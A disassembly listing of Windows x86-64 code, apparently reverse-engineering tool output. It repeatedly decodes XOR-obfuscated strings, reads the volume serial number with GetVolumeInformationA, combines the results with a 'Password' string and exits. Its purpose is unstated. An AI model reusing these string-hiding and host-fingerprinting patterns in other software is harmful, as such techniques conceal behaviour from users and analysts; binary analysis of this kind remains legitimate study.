lea rcx, [rbp + 0x1f28]
call fcn.140064ae0
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x21a8]
call fcn.140053060
lea rdx, [rbp + 0xe4]
lea rcx, [rbp + 0x7d]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x14005e581
cmp r13d, 2
jl 0x14005e547
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x14005e581
mov r9, r10
mov r8d, r15d
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14005e550
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3930]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005e5f5
mov edx, dword [rbp + 0x3930]
lea rcx, [rbp + 0x21e8]
lea rbx, [rbp + 0x21c8]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x2208]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x21c8]
call fcn.1400675e0
jmp 0x14005e608
lea rcx, [rbp + 0x2228]
lea rbx, [rbp + 0x2228]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x21a8]
call fcn.140064b40
mov rcx, rbx
call fcn.140064ae0
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x7e]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14005e658
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x2248]
call fcn.140064bd0
lea rdx, [rbp + 0x3178]
mov r12, rax
lea rcx, [rbp + 0x7f]
call fcn.140063050
mov rbx, rax
cmp byte [rax + 0x27], r15b
je 0x14005e7d1
cmp r13d, 2
jl 0x14005e79a
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x28
jl 0x14005e6b0
jmp 0x14005e7d1
mov r9, rbx
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x14005e7a0
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x80]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14005e815
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x2268]
call fcn.140064bd0
lea rdx, [rbp + 0x500]
mov r14, rax
lea rcx, [rbp + 0x81]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005e86f
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x2288]
call fcn.140064bd0
lea rdx, [rbp + 0x600]
mov rsi, rax
lea rcx, [rbp + 0x82]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005e8cd
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x22a8]
call fcn.140064bd0
lea rdx, [rbp + 0x3378]
mov rdi, rax
lea rcx, [rbp + 0x83]
call fcn.140062e10
mov r9, rax
cmp byte [rax + 0x2c], r15b
je 0x14005ea51
cmp r13d, 2
jl 0x14005ea13
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r15d
lea eax, [r15 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r15d, 8
pmuldq xmm0, xmm6
mov eax, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r15d, 0x28
jl 0x14005e920
cmp eax, 0x2d
jge 0x14005ea51
movsxd r8, r15d
add r8, r9
nop dword [rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r15b
inc r15d
sub al, cl
add al, 0x32
xor byte [r8 - 1], al
cmp r15d, 0x2d
jl 0x14005ea20
mov rdx, r9
lea rcx, [rbp + 0x22c8]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x22e8]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x2308]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x2328]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x2348]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140074ba4]
lea rcx, [rbp + 0x2368]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x2388]
mov rdx, rax
call fcn.140065610
mov r8, rbx
lea rcx, [rbp + 0x23a8]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x23c8]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x21a8]
mov rdx, rax
lea rcx, [rbp + 0x23e8]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3b30]
call fcn.140051cd0
lea rcx, [rbp + 0x23c8]
call fcn.140064ae0
lea rcx, [rbp + 0x23a8]
call fcn.140064ae0
lea rcx, [rbp + 0x2388]
call fcn.140064ae0
lea rcx, [rbp + 0x2368]
call fcn.140064ae0
lea rcx, [rbp + 0x2348]
call fcn.140064ae0
lea rcx, [rbp + 0x2328]
call fcn.140064ae0
lea rcx, [rbp + 0x2308]
call fcn.140064ae0
lea rcx, [rbp + 0x22e8]
call fcn.140064ae0
lea rcx, [rbp + 0x22c8]
call fcn.140064ae0
lea rcx, [rbp + 0x22a8]
call fcn.140064ae0
lea rcx, [rbp + 0x2288]
call fcn.140064ae0
lea rcx, [rbp + 0x2268]
call fcn.140064ae0
lea rcx, [rbp + 0x2248]
call fcn.140064ae0
lea rcx, [rbp + 0x21a8]
call fcn.140064ae0
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x2408]
call fcn.140053060
lea rdx, [rbp + 0xec]
lea rcx, [rbp + 0x84]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x14005eca1
cmp r13d, 2
jl 0x14005ec6a
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x14005eca1
mov r9, r10
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14005ec70
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x394c]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005ed15
mov edx, dword [rbp + 0x394c]
lea rcx, [rbp + 0x2448]
lea rbx, [rbp + 0x2428]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x2468]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x2428]
call fcn.1400675e0
jmp 0x14005ed28
lea rcx, [rbp + 0x2488]
lea rbx, [rbp + 0x2488]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x2408]
call fcn.140064b40
mov rcx, rbx
call fcn.140064ae0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x85]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14005ed7b
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x24a8]
call fcn.140064bd0
lea rdx, [rbp + 0x610]
mov rdi, rax
lea rcx, [rbp + 0x86]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005edd9
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x24c8]
call fcn.140064bd0
lea rdx, [rbp + 0x35e8]
mov rbx, rax
lea rcx, [rbp + 0x87]
call fcn.140062fc0
mov r10, rax
cmp byte [rax + 0x31], r15b
je 0x14005ef61
mov r8d, r15d
cmp r13d, 2
jl 0x14005ef21
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005ee30
cmp r8d, 0x32
jge 0x14005ef61
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14005ef30
mov rdx, r10
lea rcx, [rbp + 0x24e8]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x2508]
call fcn.1400655a0
mov r8, rbx
lea rcx, [rbp + 0x2528]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x2548]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x2568]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x2408]
mov rdx, rax
lea rcx, [rbp + 0x2588]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3bf0]
call fcn.140051cd0
lea rcx, [rbp + 0x2568]
call fcn.140064ae0
lea rcx, [rbp + 0x2548]
call fcn.140064ae0
lea rcx, [rbp + 0x2528]
call fcn.140064ae0
lea rcx, [rbp + 0x2508]
call fcn.140064ae0
lea rcx, [rbp + 0x24e8]
call fcn.140064ae0
lea rcx, [rbp + 0x24c8]
call fcn.140064ae0
lea rcx, [rbp + 0x24a8]
call fcn.140064ae0
lea rcx, [rbp + 0x2408]
call fcn.140064ae0
lea rcx, [rbp + 0x25a8]
call fcn.140053060
lea rdx, [rbp + 0xcc]
lea rcx, [rbp + 0x88]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x14005f111
cmp r13d, 2
jl 0x14005f0da
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x14005f111
mov r9, r10
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14005f0e0
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3948]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005f185
mov edx, dword [rbp + 0x3948]
lea rcx, [rbp + 0x25e8]
lea rbx, [rbp + 0x25c8]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x2608]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x25c8]
call fcn.1400675e0
jmp 0x14005f198
lea rcx, [rbp + 0x2628]
lea rbx, [rbp + 0x2628]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x25a8]
call fcn.140064b40
mov rcx, rbx
call fcn.140064ae0
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x89]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14005f1eb
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x2648]
call fcn.140064bd0
lea rdx, [rbp + 0x30d8]
mov r12, rax
lea rcx, [rbp + 0x8a]
call fcn.140062ff0
mov rbx, rax
cmp byte [rax + 0x24], r15b
je 0x14005f371
mov r8d, r15d
cmp r13d, 2
jl 0x14005f331
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005f240
cmp r8d, 0x25
jge 0x14005f371
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14005f340
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x8b]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14005f3b5
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x2668]
call fcn.140064bd0
lea rdx, [rbp + 0x530]
mov r14, rax
lea rcx, [rbp + 0x8c]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005f40f
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x2688]
call fcn.140064bd0
lea rdx, [rbp + 0x620]
mov rsi, rax
lea rcx, [rbp + 0x8d]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005f46d
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x26a8]
call fcn.140064bd0
lea rdx, [rbp + 0x34c8]
mov rdi, rax
lea rcx, [rbp + 0x8e]
call fcn.140062e10
mov r9, rax
cmp byte [rax + 0x2c], r15b
je 0x14005f5f1
cmp r13d, 2
jl 0x14005f5b3
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r15d
lea eax, [r15 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r15d, 8
pmuldq xmm0, xmm6
mov eax, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r15d, 0x28
jl 0x14005f4c0
cmp eax, 0x2d
jge 0x14005f5f1
movsxd r8, r15d
add r8, r9
nop dword [rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r15b
inc r15d
sub al, cl
add al, 0x32
xor byte [r8 - 1], al
cmp r15d, 0x2d
jl 0x14005f5c0
mov rdx, r9
lea rcx, [rbp + 0x26c8]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x26e8]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x2708]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x2728]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x2748]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140077bfc]
lea rcx, [rbp + 0x2768]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x2788]
mov rdx, rax
call fcn.140065610
mov r8, rbx
lea rcx, [rbp + 0x27a8]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x27c8]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x25a8]
mov rdx, rax
lea rcx, [rbp + 0x27e8]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x39f0]
call fcn.140051cd0
lea rcx, [rbp + 0x27c8]
call fcn.140064ae0
lea rcx, [rbp + 0x27a8]
call fcn.140064ae0
lea rcx, [rbp + 0x2788]
call fcn.140064ae0
lea rcx, [rbp + 0x2768]
call fcn.140064ae0
lea rcx, [rbp + 0x2748]
call fcn.140064ae0
lea rcx, [rbp + 0x2728]
call fcn.140064ae0
lea rcx, [rbp + 0x2708]
call fcn.140064ae0
lea rcx, [rbp + 0x26e8]
call fcn.140064ae0
lea rcx, [rbp + 0x26c8]
call fcn.140064ae0
lea rcx, [rbp + 0x26a8]
call fcn.140064ae0
lea rcx, [rbp + 0x2688]
call fcn.140064ae0
lea rcx, [rbp + 0x2668]
call fcn.140064ae0
lea rcx, [rbp + 0x2648]
call fcn.140064ae0
lea rcx, [rbp + 0x25a8]
call fcn.140064ae0
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x2808]
call fcn.140053060
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x8f]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x14005f841
cmp r13d, 2
jl 0x14005f80a
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x14005f841
mov r9, r10
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14005f810
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3944]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005f8b5
mov edx, dword [rbp + 0x3944]
lea rcx, [rbp + 0x2848]
lea rbx, [rbp + 0x2828]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
